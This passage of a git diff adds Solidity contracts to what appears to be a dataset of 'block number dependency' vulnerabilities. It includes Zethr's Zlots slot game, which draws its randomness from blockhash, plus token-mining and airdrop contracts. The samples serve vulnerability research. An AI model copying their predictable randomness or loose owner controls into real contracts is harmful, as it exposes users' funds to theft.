+contract ZethrShell is ZethrBankrollBridge { + + + function WithdrawToBankroll() public { + address(UsedBankrollAddresses[0]).transfer(address(this).balance); + } + + + function WithdrawAndTransferToBankroll() public { + Zethr.withdraw(); + WithdrawToBankroll(); + } +} + + + +contract Zlots is ZethrShell { + using SafeMath for uint; + + + + + event HouseRetrievedTake( + uint timeTaken, + uint tokensWithdrawn + ); + + + event TokensWagered( + address _wagerer, + uint _wagered + ); + + event LogResult( + address _wagerer, + uint _result, + uint _profit, + uint _wagered, + uint _category, + bool _win + ); + + + event Loss(address _wagerer, uint _block); + event ThreeMoonJackpot(address _wagerer, uint _block); + event TwoMoonPrize(address _wagerer, uint _block); + event ZTHPrize(address _wagerer, uint _block); + event ThreeZSymbols(address _wagerer, uint _block); + event ThreeTSymbols(address _wagerer, uint _block); + event ThreeHSymbols(address _wagerer, uint _block); + event ThreeEtherIcons(address _wagerer, uint _block); + event ThreePurplePyramids(address _wagerer, uint _block); + event ThreeGoldPyramids(address _wagerer, uint _block); + event ThreeRockets(address _wagerer, uint _block); + event OneMoonPrize(address _wagerer, uint _block); + event OneOfEachPyramidPrize(address _wagerer, uint _block); + event TwoZSymbols(address _wagerer, uint _block); + event TwoTSymbols(address _wagerer, uint _block); + event TwoHSymbols(address _wagerer, uint _block); + event TwoEtherIcons(address _wagerer, uint _block); + event TwoPurplePyramids(address _wagerer, uint _block); + event TwoGoldPyramids(address _wagerer, uint _block); + event TwoRockets(address _wagerer, uint _block); + event SpinConcluded(address _wagerer, uint _block); + + + + + + modifier betIsValid(uint _betSize, uint divRate) { + require(_betSize.mul(100) <= getMaxProfit(divRate)); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + modifier onlyBankroll { + require(msg.sender == bankroll); + _; + } + + + modifier onlyOwnerOrBankroll { + require(msg.sender == owner || msg.sender == bankroll); + _; + } + + + + + uint constant public maxProfitDivisor = 1000000; + uint constant public houseEdgeDivisor = 1000; + mapping (uint => uint) public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 1e18; + address public zlotsJackpot; + address private owner; + address private bankroll; + bool gamePaused; + + + uint public totalSpins; + uint public totalZTHWagered; + mapping (uint => uint) public contractBalance; + + + bool public gameActive; + + address private ZTHTKNADDR; + address private ZTHBANKROLL; + + + + + constructor(address BankrollAddress) public { + + setupBankrollInterface(BankrollAddress); + + + owner = msg.sender; + + + ownerSetMaxProfitAsPercentOfHouse(50000); + + + bankroll = ZTHBANKROLL; + gameActive = true; + + + ownerSetMinBet(1e18); + } + + + function() public payable { } + + + struct TKN { address sender; uint value; } + function execute(address _from, uint _value, uint divRate, bytes ) public fromBankroll returns (bool){ + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + _spinTokens(_tkn, divRate); + return true; + } + + struct playerSpin { + uint200 tokenValue; + uint48 blockn; + uint8 tier; + } + + + mapping(address => playerSpin) public playerSpins; + + + function _spinTokens(TKN _tkn, uint divRate) + private + betIsValid(_tkn.value, divRate) + { + + require(gameActive); + require(1e18 <= _tkn.value); + + require(block.number < ((2 ** 56) - 1)); + + address _customerAddress = _tkn.sender; + uint _wagered = _tkn.value; + + playerSpin memory spin = playerSpins[_tkn.sender]; + + + + + addContractBalance(divRate, _wagered); + + + require(block.number != spin.blockn); + + + if (spin.blockn != 0) { + _finishSpin(_tkn.sender); + } + + + spin.blockn = uint48(block.number); + spin.tokenValue = uint200(_wagered); + spin.tier = uint8(ZethrTierLibrary.getTier(divRate)); + + + playerSpins[_tkn.sender] = spin; + + + totalSpins += 1; + + + totalZTHWagered += _wagered; + + emit TokensWagered(_customerAddress, _wagered); + } + + + function finishSpin() public + gameIsActive + returns (uint) + { + return _finishSpin(msg.sender); + } + + + function _finishSpin(address target) + private returns (uint) + { + playerSpin memory spin = playerSpins[target]; + + require(spin.tokenValue > 0); + require(spin.blockn != block.number); + + uint profit = 0; + uint category = 0; + + + + uint result; + if (block.number - spin.blockn > 255) { + result = 1000000; + } else { + + + + result = random(1000000, spin.blockn, target) + 1; + } + + if (result > 476662) { + + + + + RequestBankrollPayment(zlotsJackpot, profit, tier); + + + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0)); + + emit Loss(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, false); + } else if (result < 2) { + + + + profit = ZlotsJackpotHoldingContract(zlotsJackpot).getJackpot(); + category = 1; + + + emit ThreeMoonJackpot(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, true); + + + uint8 tier = spin.tier; + + + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0)); + + + ZlotsJackpotHoldingContract(zlotsJackpot).payOutWinner(target); + } else { + if (result < 299) { + + profit = SafeMath.mul(spin.tokenValue, 100); + category = 2; + emit TwoMoonPrize(target, spin.blockn); + } else if (result < 3128) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 3; + emit ZTHPrize(target, spin.blockn); + } else if (result < 5957) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10); + category = 4; + emit ThreeZSymbols(target, spin.blockn); + } else if (result < 8786) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10); + category = 5; + emit ThreeTSymbols(target, spin.blockn); + } else if (result < 11615) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10); + category = 6; + emit ThreeHSymbols(target, spin.blockn); + } else if (result < 14444) { + + profit = SafeMath.mul(spin.tokenValue, 15); + category = 7; + emit ThreeEtherIcons(target, spin.blockn); + } else if (result < 17273) { + + profit = SafeMath.mul(spin.tokenValue, 10); + category = 8; + emit ThreePurplePyramids(target, spin.blockn); + } else if (result < 20102) { + + profit = SafeMath.mul(spin.tokenValue, 10); + category = 9; + emit ThreeGoldPyramids(target, spin.blockn); + } else if (result < 22930) { + + profit = SafeMath.mul(spin.tokenValue, 12); + category = 10; + emit ThreeRockets(target, spin.blockn); + } else if (result < 52333) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25),10); + category = 11; + emit OneMoonPrize(target, spin.blockn); + } else if (result < 120226) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10); + category = 12; + emit OneOfEachPyramidPrize(target, spin.blockn); + } else if (result < 171147) { + + profit = spin.tokenValue; + category = 13; + emit TwoZSymbols(target, spin.blockn); + } else if (result < 222068) { + + profit = spin.tokenValue; + category = 14; + emit TwoTSymbols(target, spin.blockn); + } else if (result < 272989) { + + profit = spin.tokenValue; + category = 15; + emit TwoHSymbols(target, spin.blockn); + } else if (result < 323910) { + + profit = SafeMath.mul(spin.tokenValue, 2); + category = 16; + emit TwoEtherIcons(target, spin.blockn); + } else if (result < 374831) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 133),100); + category = 17; + emit TwoPurplePyramids(target, spin.blockn); + } else if (result < 425752) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 133),100); + category = 18; + emit TwoGoldPyramids(target, spin.blockn); + } else { + + profit = SafeMath.mul(spin.tokenValue, 2); + category = 19; + emit TwoRockets(target, spin.blockn); + } + + emit LogResult(target, result, profit, spin.tokenValue, category, true); + tier = spin.tier; + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0)); + RequestBankrollPayment(target, profit, tier); + } + + emit SpinConcluded(target, spin.blockn); + return result; + } + + + + function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function setMaxProfit(uint divRate) internal { + maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function getMaxProfit(uint divRate) public view returns (uint) { + return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function subContractBalance(uint divRate, uint sub) internal { + contractBalance[divRate] = contractBalance[divRate].sub(sub); + } + + + function addContractBalance(uint divRate, uint add) internal { + contractBalance[divRate] = contractBalance[divRate].add(add); + } + + + + + function bankrollExternalUpdateTokens(uint divRate, uint newBalance) + public + fromBankroll + { + contractBalance[divRate] = newBalance; + setMaxProfit(divRate); + } + + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 200000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(2); + setMaxProfit(5); + setMaxProfit(10); + setMaxProfit(15); + setMaxProfit(20); + setMaxProfit(25); + setMaxProfit(33); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerSetZlotsAddress(address zlotsAddress) public + onlyOwner + { + zlotsJackpot = zlotsAddress; + } + + + function pauseGame() public onlyOwnerOrBankroll { + gameActive = false; + } + + + function resumeGame() public onlyOwnerOrBankroll { + gameActive = true; + } + + + function changeOwner(address _newOwner) public onlyOwnerOrBankroll { + owner = _newOwner; + } + + + function changeBankroll(address _newBankroll) public onlyOwnerOrBankroll { + bankroll = _newBankroll; + } + + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + } +} + + + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1101.sol b/smart_contract_dataset/block number dependency/1101.sol new file mode 100644 index 0000000000000000000000000000000000000000..49d1e019b1f6aab715e6a4aa4fc0fcd00677f596 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1101.sol @@ -0,0 +1,626 @@ +pragma solidity ^0.4.24; + + + + +contract ZethrTokenBankroll{ + + function gameRequestTokens(address target, uint tokens) public; + function gameTokenAmount(address what) public returns (uint); +} + + +contract ZethrMainBankroll{ + function gameGetTokenBankrollList() public view returns (address[7]); +} + + +contract ZethrInterface{ + function withdraw() public; +} + + +library ZethrTierLibrary{ + + function getTier(uint divRate) internal pure returns (uint){ + + + + + + uint actualDiv = divRate; + if (actualDiv >= 30){ + return 6; + } else if (actualDiv >= 25){ + return 5; + } else if (actualDiv >= 20){ + return 4; + } else if (actualDiv >= 15){ + return 3; + } else if (actualDiv >= 10){ + return 2; + } else if (actualDiv >= 5){ + return 1; + } else if (actualDiv >= 2){ + return 0; + } else{ + + revert(); + } + } +} + + +contract ZlotsJackpotHoldingContract { + function payOutWinner(address winner) public; + function getJackpot() public view returns (uint); +} + + +contract ZethrBankrollBridge { + + ZethrInterface Zethr; + + + + + + address[7] UsedBankrollAddresses; + + + mapping(address => bool) ValidBankrollAddress; + + + function setupBankrollInterface(address ZethrMainBankrollAddress) internal { + + + Zethr = ZethrInterface(0xD48B633045af65fF636F3c6edd744748351E020D); + + + UsedBankrollAddresses = ZethrMainBankroll(ZethrMainBankrollAddress).gameGetTokenBankrollList(); + for(uint i=0; i<7; i++){ + ValidBankrollAddress[UsedBankrollAddresses[i]] = true; + } + } + + + modifier fromBankroll(){ + require(ValidBankrollAddress[msg.sender], "msg.sender should be a valid bankroll"); + _; + } + + + + function RequestBankrollPayment(address to, uint tokens, uint tier) internal { + address tokenBankrollAddress = UsedBankrollAddresses[tier]; + ZethrTokenBankroll(tokenBankrollAddress).gameRequestTokens(to, tokens); + } + + function getZethrTokenBankroll(uint divRate) public constant returns (ZethrTokenBankroll){ + return ZethrTokenBankroll(UsedBankrollAddresses[ZethrTierLibrary.getTier(divRate)]); + } +} + + +contract ZethrShell is ZethrBankrollBridge { + + + function WithdrawToBankroll() public { + address(UsedBankrollAddresses[0]).transfer(address(this).balance); + } + + + function WithdrawAndTransferToBankroll() public { + Zethr.withdraw(); + WithdrawToBankroll(); + } +} + + + +contract Zlots is ZethrShell { + using SafeMath for uint; + + + + + event HouseRetrievedTake( + uint timeTaken, + uint tokensWithdrawn + ); + + + event TokensWagered( + address _wagerer, + uint _wagered + ); + + event LogResult( + address _wagerer, + uint _result, + uint _profit, + uint _wagered, + uint _category, + bool _win + ); + + + event Loss(address _wagerer, uint _block); + event ThreeMoonJackpot(address _wagerer, uint _block); + event TwoMoonPrize(address _wagerer, uint _block); + event ZTHPrize(address _wagerer, uint _block); + event ThreeZSymbols(address _wagerer, uint _block); + event ThreeTSymbols(address _wagerer, uint _block); + event ThreeHSymbols(address _wagerer, uint _block); + event ThreeEtherIcons(address _wagerer, uint _block); + event ThreePurplePyramids(address _wagerer, uint _block); + event ThreeGoldPyramids(address _wagerer, uint _block); + event ThreeRockets(address _wagerer, uint _block); + event OneMoonPrize(address _wagerer, uint _block); + event OneOfEachPyramidPrize(address _wagerer, uint _block); + event TwoZSymbols(address _wagerer, uint _block); + event TwoTSymbols(address _wagerer, uint _block); + event TwoHSymbols(address _wagerer, uint _block); + event TwoEtherIcons(address _wagerer, uint _block); + event TwoPurplePyramids(address _wagerer, uint _block); + event TwoGoldPyramids(address _wagerer, uint _block); + event TwoRockets(address _wagerer, uint _block); + event SpinConcluded(address _wagerer, uint _block); + + + + + + modifier betIsValid(uint _betSize, uint divRate) { + require(_betSize.mul(100) <= getMaxProfit(divRate)); + _; + } + + + modifier gameIsActive { + require(gamePaused == false); + _; + } + + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + + modifier onlyBankroll { + require(msg.sender == bankroll); + _; + } + + + modifier onlyOwnerOrBankroll { + require(msg.sender == owner || msg.sender == bankroll); + _; + } + + + + + uint constant public maxProfitDivisor = 1000000; + uint constant public houseEdgeDivisor = 1000; + mapping (uint => uint) public maxProfit; + uint public maxProfitAsPercentOfHouse; + uint public minBet = 1e18; + address public zlotsJackpot; + address private owner; + address private bankroll; + bool gamePaused; + + + uint public totalSpins; + uint public totalZTHWagered; + mapping (uint => uint) public contractBalance; + + + mapping(uint => uint) public maxBet; + + + bool public gameActive; + + address private ZTHTKNADDR; + address private ZTHBANKROLL; + + + + + constructor(address BankrollAddress) public { + + setupBankrollInterface(BankrollAddress); + + + owner = msg.sender; + + + ownerSetMaxProfitAsPercentOfHouse(50000); + + + bankroll = ZTHBANKROLL; + gameActive = true; + + + ownerSetMinBet(1e18); + } + + + function() public payable { } + + + struct TKN { address sender; uint value; } + function execute(address _from, uint _value, uint divRate, bytes ) public fromBankroll returns (bool){ + TKN memory _tkn; + _tkn.sender = _from; + _tkn.value = _value; + _spinTokens(_tkn, divRate); + return true; + } + + struct playerSpin { + uint200 tokenValue; + uint48 blockn; + uint8 tier; + } + + + mapping(address => playerSpin) public playerSpins; + + + function _spinTokens(TKN _tkn, uint divRate) + private + betIsValid(_tkn.value, divRate) + { + + require(gameActive); + require(1e18 <= _tkn.value); + + require(_tkn.value < ((2 ** 200) - 1)); + require(block.number < ((2 ** 56) - 1)); + + address _customerAddress = _tkn.sender; + uint _wagered = _tkn.value; + + playerSpin memory spin = playerSpins[_tkn.sender]; + + + + + addContractBalance(divRate, _wagered); + + + require(block.number != spin.blockn); + + + if (spin.blockn != 0) { + _finishSpin(_tkn.sender); + } + + + spin.blockn = uint48(block.number); + spin.tokenValue = uint200(_wagered); + spin.tier = uint8(ZethrTierLibrary.getTier(divRate)); + + + playerSpins[_tkn.sender] = spin; + + + totalSpins += 1; + + + totalZTHWagered += _wagered; + + emit TokensWagered(_customerAddress, _wagered); + + } + + + function finishSpin() public + gameIsActive + returns (uint) + { + return _finishSpin(msg.sender); + } + + + function _finishSpin(address target) + private returns (uint) + { + playerSpin memory spin = playerSpins[target]; + + require(spin.tokenValue > 0); + require(spin.blockn != block.number); + + uint profit = 0; + uint category = 0; + + + + uint result; + if (block.number - spin.blockn > 255) { + result = 1000000; + } else { + + + + result = random(1000000, spin.blockn, target) + 1; + } + + if (result > 476662) { + + + + + RequestBankrollPayment(zlotsJackpot, profit, tier); + + + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0)); + + emit Loss(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, false); + } else if (result < 2) { + + + + profit = ZlotsJackpotHoldingContract(zlotsJackpot).getJackpot(); + category = 1; + + + emit ThreeMoonJackpot(target, spin.blockn); + emit LogResult(target, result, profit, spin.tokenValue, category, true); + + + uint8 tier = spin.tier; + + + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0)); + + + ZlotsJackpotHoldingContract(zlotsJackpot).payOutWinner(target); + } else { + if (result < 299) { + + profit = SafeMath.mul(spin.tokenValue, 100); + category = 2; + emit TwoMoonPrize(target, spin.blockn); + } else if (result < 3128) { + + profit = SafeMath.mul(spin.tokenValue, 20); + category = 3; + emit ZTHPrize(target, spin.blockn); + } else if (result < 5957) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10); + category = 4; + emit ThreeZSymbols(target, spin.blockn); + } else if (result < 8786) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10); + category = 5; + emit ThreeTSymbols(target, spin.blockn); + } else if (result < 11615) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 75), 10); + category = 6; + emit ThreeHSymbols(target, spin.blockn); + } else if (result < 14444) { + + profit = SafeMath.mul(spin.tokenValue, 15); + category = 7; + emit ThreeEtherIcons(target, spin.blockn); + } else if (result < 17273) { + + profit = SafeMath.mul(spin.tokenValue, 10); + category = 8; + emit ThreePurplePyramids(target, spin.blockn); + } else if (result < 20102) { + + profit = SafeMath.mul(spin.tokenValue, 10); + category = 9; + emit ThreeGoldPyramids(target, spin.blockn); + } else if (result < 22930) { + + profit = SafeMath.mul(spin.tokenValue, 12); + category = 10; + emit ThreeRockets(target, spin.blockn); + } else if (result < 52333) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 25),10); + category = 11; + emit OneMoonPrize(target, spin.blockn); + } else if (result < 120226) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 15),10); + category = 12; + emit OneOfEachPyramidPrize(target, spin.blockn); + } else if (result < 171147) { + + profit = spin.tokenValue; + category = 13; + emit TwoZSymbols(target, spin.blockn); + } else if (result < 222068) { + + profit = spin.tokenValue; + category = 14; + emit TwoTSymbols(target, spin.blockn); + } else if (result < 272989) { + + profit = spin.tokenValue; + category = 15; + emit TwoHSymbols(target, spin.blockn); + } else if (result < 323910) { + + profit = SafeMath.mul(spin.tokenValue, 2); + category = 16; + emit TwoEtherIcons(target, spin.blockn); + } else if (result < 374831) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 133),100); + category = 17; + emit TwoPurplePyramids(target, spin.blockn); + } else if (result < 425752) { + + profit = SafeMath.div(SafeMath.mul(spin.tokenValue, 133),100); + category = 18; + emit TwoGoldPyramids(target, spin.blockn); + } else { + + profit = SafeMath.mul(spin.tokenValue, 2); + category = 19; + emit TwoRockets(target, spin.blockn); + } + + emit LogResult(target, result, profit, spin.tokenValue, category, true); + tier = spin.tier; + playerSpins[target] = playerSpin(uint200(0), uint48(0), uint8(0)); + RequestBankrollPayment(target, profit, tier); + } + + emit SpinConcluded(target, spin.blockn); + return result; + } + + + + function maxRandom(uint blockn, address entropy) private view returns (uint256 randomNumber) { + return uint256(keccak256( + abi.encodePacked( + + blockhash(blockn), + entropy) + )); + } + + + function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) { + return maxRandom(blockn, entropy) % upper; + } + + + function setMaxProfit(uint divRate) internal { + maxProfit[divRate] = (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function getMaxProfit(uint divRate) public view returns (uint) { + return (contractBalance[divRate] * maxProfitAsPercentOfHouse) / maxProfitDivisor; + } + + + function subContractBalance(uint divRate, uint sub) internal { + contractBalance[divRate] = contractBalance[divRate].sub(sub); + } + + + function addContractBalance(uint divRate, uint add) internal { + contractBalance[divRate] = contractBalance[divRate].add(add); + } + + + + + function bankrollExternalUpdateTokens(uint divRate, uint newBalance) + public + fromBankroll + { + contractBalance[divRate] = newBalance; + setMaxProfit(divRate); + } + + + + function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public + onlyOwner + { + + require(newMaxProfitAsPercent <= 200000); + maxProfitAsPercentOfHouse = newMaxProfitAsPercent; + setMaxProfit(2); + setMaxProfit(5); + setMaxProfit(10); + setMaxProfit(15); + setMaxProfit(20); + setMaxProfit(25); + setMaxProfit(33); + } + + + function ownerSetMinBet(uint newMinimumBet) public + onlyOwner + { + minBet = newMinimumBet; + } + + + function ownerSetZlotsAddress(address zlotsAddress) public + onlyOwner + { + zlotsJackpot = zlotsAddress; + } + + + function pauseGame() public onlyOwnerOrBankroll { + gameActive = false; + } + + + function resumeGame() public onlyOwnerOrBankroll { + gameActive = true; + } + + + function changeOwner(address _newOwner) public onlyOwnerOrBankroll { + owner = _newOwner; + } + + + function changeBankroll(address _newBankroll) public onlyOwnerOrBankroll { + bankroll = _newBankroll; + } + + + function _zthToken(address _tokenContract) private view returns (bool) { + return _tokenContract == ZTHTKNADDR; + } +} + + + + +library SafeMath { + + + function mul(uint a, uint b) internal pure returns (uint) { + if (a == 0) { + return 0; + } + uint c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint a, uint b) internal pure returns (uint) { + + uint c = a / b; + + return c; + } + + + function sub(uint a, uint b) internal pure returns (uint) { + assert(b <= a); + return a - b; + } + + + function add(uint a, uint b) internal pure returns (uint) { + uint c = a + b; + assert(c >= a); + return c; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/112.sol b/smart_contract_dataset/block number dependency/112.sol new file mode 100644 index 0000000000000000000000000000000000000000..f9b7c5db5f4c8f6152855ebc35b5d1afda471e16 --- /dev/null +++ b/smart_contract_dataset/block number dependency/112.sol @@ -0,0 +1,253 @@ +pragma solidity ^0.4.24; + + + + + +library SafeMath { + function add(uint a, uint b) internal pure returns (uint c) { + c = a + b; + require(c >= a); + } + function sub(uint a, uint b) internal pure returns (uint c) { + require(b <= a); + c = a - b; + } + function mul(uint a, uint b) internal pure returns (uint c) { + c = a * b; + require(a == 0 || c / a == b); + } + function div(uint a, uint b) internal pure returns (uint c) { + require(b > 0); + c = a / b; + } +} + + + +contract Owned { + address public owner; + address public newOwner; + + event OwnershipTransferred(address indexed _from, address indexed _to); + + constructor() public { + owner = msg.sender; + } + + modifier onlyOwner { + require(msg.sender == owner); + _; + } + + function transferOwnership(address _newOwner) public onlyOwner { + newOwner = _newOwner; + } + + function acceptOwnership() public { + require(msg.sender == newOwner); + + emit OwnershipTransferred(owner, newOwner); + + owner = newOwner; + + newOwner = address(0); + } +} + + + +contract ERC20Interface { + function totalSupply() public constant returns (uint); + function balanceOf(address tokenOwner) public constant returns (uint balance); + function allowance(address tokenOwner, address spender) public constant returns (uint remaining); + function transfer(address to, uint tokens) public returns (bool success); + function approve(address spender, uint tokens) public returns (bool success); + function transferFrom(address from, address to, uint tokens) public returns (bool success); + + event Transfer(address indexed from, address indexed to, uint tokens); + event Approval(address indexed tokenOwner, address indexed spender, uint tokens); +} + + + +contract ERC918Interface { + function getChallengeNumber() public constant returns (bytes32); + function getMiningDifficulty() public constant returns (uint); + function getMiningTarget() public constant returns (uint); + function getMiningReward() public constant returns (uint); + + function mint(uint256 nonce, bytes32 challenge_digest) public returns (bool success); + event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); + + address public lastRewardTo; + uint public lastRewardAmount; + uint public lastRewardEthBlockNumber; + bytes32 public challengeNumber; +} + + +contract ZeroGoldPOWMining is Owned { + using SafeMath for uint; + + + ERC20Interface zeroGold; + + + ERC918Interface public miningLeader; + + + address public mintHelper = 0x0; + + modifier onlyMintHelper { + require(msg.sender == mintHelper); + _; + } + + + + + uint rewardDivisor = 20; + + + uint epochCount = 0; + + + uint public lastRewardAmount = 0; + + mapping(bytes32 => bytes32) solutionForChallenge; + + event Mint(address indexed from, uint reward_amount, uint epochCount, bytes32 newChallengeNumber); + + constructor(address _miningLeader, address _mintHelper) public { + + miningLeader = ERC918Interface(_miningLeader); + + + mintHelper = _mintHelper; + + + + zeroGold = ERC20Interface(0x6ef5bca539A4A01157af842B4823F54F9f7E9968); + } + + + function merge() external onlyMintHelper returns (bool success) { + + bytes32 futureChallengeNumber = blockhash(block.number - 1); + + + bytes32 challengeNumber = miningLeader.getChallengeNumber(); + + + if (challengeNumber == futureChallengeNumber) { + + + return false; + } + + + if (miningLeader.lastRewardTo() != msg.sender) { + + + return false; + } + + + if (miningLeader.lastRewardEthBlockNumber() != block.number) { + + + return false; + } + + + + + bytes32 parentChallengeNumber = miningLeader.challengeNumber(); + bytes32 solution = solutionForChallenge[parentChallengeNumber]; + if (solution != 0x0) return false; + + bytes32 digest = 'merge'; + solutionForChallenge[parentChallengeNumber] = digest; + + + + + + uint rewardAmount = getRewardAmount(); + + + uint balance = zeroGold.balanceOf(address(this)); + + + assert(rewardAmount <= balance); + + + + + lastRewardAmount = rewardAmount; + + + epochCount = epochCount.add(1); + + + emit Mint(msg.sender, rewardAmount, epochCount, 0); + + return true; + } + + + + + function transfer( + address _wallet, + uint _reward + ) external onlyMintHelper returns (bool) { + + if (_reward > lastRewardAmount) { + return false; + } + + + lastRewardAmount = lastRewardAmount.sub(_reward); + + + zeroGold.transfer(_wallet, _reward); + } + + + function getRewardAmount() public constant returns (uint) { + + uint totalBalance = zeroGold.balanceOf(address(this)); + + return totalBalance.div(rewardDivisor); + } + + + function setMiningLeader(address _miningLeader) external onlyOwner { + miningLeader = ERC918Interface(_miningLeader); + } + + + function setMintHelper(address _mintHelper) external onlyOwner { + mintHelper = _mintHelper; + } + + + function setRewardDivisor(uint _rewardDivisor) external onlyOwner { + rewardDivisor = _rewardDivisor; + } + + + function () public payable { + + revert('Oops! Direct payments are NOT permitted here.'); + } + + + function transferAnyERC20Token( + address tokenAddress, uint tokens + ) public onlyOwner returns (bool success) { + return ERC20Interface(tokenAddress).transfer(owner, tokens); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/block number dependency/1121.sol b/smart_contract_dataset/block number dependency/1121.sol new file mode 100644 index 0000000000000000000000000000000000000000..1bb6b7ed9fa14c86b60fc1c368089fe1cb1c60a6 --- /dev/null +++ b/smart_contract_dataset/block number dependency/1121.sol @@ -0,0 +1,222 @@ +pragma solidity ^0.4.24; + +library SafeMath { + + + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + + + + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + + + return a / b; + } + + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + + constructor() public { + owner = msg.sender; + } + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +contract Claimable is Ownable { + address public pendingOwner; + + + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + + function claimOwnership() onlyPendingOwner public { + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +contract SimpleFlyDropToken is Claimable { + using SafeMath for uint256; + + ERC20 internal erc20tk; + + function setToken(address _token) onlyOwner public { + require(_token != address(0)); + erc20tk = ERC20(_token); + } + + + function multiSend(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + require(_destAddrs.length == _values.length); + + uint256 i = 0; + for (; i < _destAddrs.length; i = i.add(1)) { + if (!erc20tk.transfer(_destAddrs[i], _values[i])) { + break; + } + } + + return (i); + } +} + +contract DelayedClaimable is Claimable { + + uint256 public end; + uint256 public start; + + + function setLimits(uint256 _start, uint256 _end) onlyOwner public { + require(_start <= _end); + end = _end; + start = _start; + } + + + function claimOwnership() onlyPendingOwner public { + require((block.number <= end) && (block.number >= start)); + emit OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + end = 0; + } + +} + +contract FlyDropTokenMgr is DelayedClaimable { + using SafeMath for uint256; + + address[] dropTokenAddrs; + SimpleFlyDropToken currentDropTokenContract; + + + + function prepare(uint256 _rand, + address _from, + address _token, + uint256 _value) onlyOwner public returns (bool) { + require(_token != address(0)); + require(_from != address(0)); + require(_rand > 0); + + if (ERC20(_token).allowance(_from, this) < _value) { + return false; + } + + if (_rand > dropTokenAddrs.length) { + SimpleFlyDropToken dropTokenContract = new SimpleFlyDropToken(); + dropTokenAddrs.push(address(dropTokenContract)); + currentDropTokenContract = dropTokenContract; + } else { + currentDropTokenContract = SimpleFlyDropToken(dropTokenAddrs[_rand.sub(1)]); + } + + currentDropTokenContract.setToken(_token); + return ERC20(_token).transferFrom(_from, currentDropTokenContract, _value); + + + + } + + + + + + + + + + function flyDrop(address[] _destAddrs, uint256[] _values) onlyOwner public returns (uint256) { + 